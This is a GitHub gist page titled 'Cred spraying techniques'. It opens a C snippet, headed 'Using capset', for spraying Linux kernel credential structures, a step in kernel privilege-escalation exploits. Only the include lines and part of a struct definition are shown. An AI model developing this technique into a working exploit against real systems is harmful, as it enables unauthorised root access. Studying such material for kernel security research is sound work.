Skip to content

Instantly share code, notes, and snippets.

View ameetsaahu's full-sized avatar

ameetsaahu

View GitHub Profile
@ameetsaahu
ameetsaahu / spray_cred.md
Created November 30, 2022 13:52
Cred spraying techniques

Using capset

// Thanks to @pqlqpql
#include <linux/io_uring.h>
#include <sys/capability.h>
#include <sys/syscall.h>

struct user_cap_data_struct {
    uint32_t effective;
    uint32_t permitted;